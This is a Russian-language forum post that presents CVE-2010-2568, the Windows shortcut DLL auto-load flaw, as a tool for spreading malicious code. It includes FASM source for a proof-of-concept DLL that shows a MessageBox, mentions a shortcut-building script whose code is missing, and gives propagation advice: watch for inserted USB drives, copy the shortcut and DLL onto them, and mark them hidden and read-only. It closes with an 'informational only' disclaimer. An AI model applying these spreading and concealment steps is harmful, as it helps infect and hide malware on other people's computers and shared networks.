Данную уязвимость (багу, дырку) можно использовать для распространения своего вредоносного кода: через сетевые расшареные папки, а так же записывать на съемные USB носители информации. Она будет полезна и для автозагрузки вашей dll.
В качестве теста была написана примитивная библиотека, в результате работы которой запускается обыкновенный MessageBox.
Код:
format PE GUI 4.0 DLL
entry DllEntryPoint
include 'win32a.inc'
section '.code' code readable executable
proc DllEntryPoint hinstDLL, fdwReason, lpvReserved
cmp [fdwReason], DLL_PROCESS_ATTACH
jne .done
invoke MessageBox, HWND_DESKTOP, _message, _caption, MB_ICONINFORMATION + MB_OK
.done:
mov eax,TRUE
ret
endp
section '.data' data readable writeable
_caption db 'cve-2010-2568', 0
_message db 'Automatic load dll successfully performed!', 0
section '.idata' import data readable writeable
library user32,'USER32.DLL'
include 'api\user32.inc'
section '.reloc' fixups data discardable
Приведу еще один код - это скрипт для создания ярлыка с указанием пути до файла (не забывайте про ограничение на размер).
Код:
Для того, чтобы сделать автозагрузку нашей dll, можно добавить ее на рабочий стол. Только не забудьте сделать проверку на повторный запуск в самой библиотеке!
Для распространения через носители, нужно постоянно следить за появлением устройств и как только оно будет подключено, записывать файл ярлыка и библиотеку (установите атрибуты скрытый и только для чтения).
Остальные технические детали можете смело спрашивать и обсуждать в этой теме.
Тесты были произведены на:
Windows 2000 – успешный запуск dll
Windows 2003 - успешный запуск dll
Windows XP SP2/SP3 – успешный запуск dll
Windows Vista - успешный запуск dll (не забываем про UAC)
Windows 7 - успешный запуск dll (помним об UAC)
Полезные ссылки:
http://www.securityfocus.com/bid/41732
http://www.exploit-db.com/exploits/14403/
Все материалы статьи несут исключительно ознакомительный характер. Автор не несет никакой ответственности!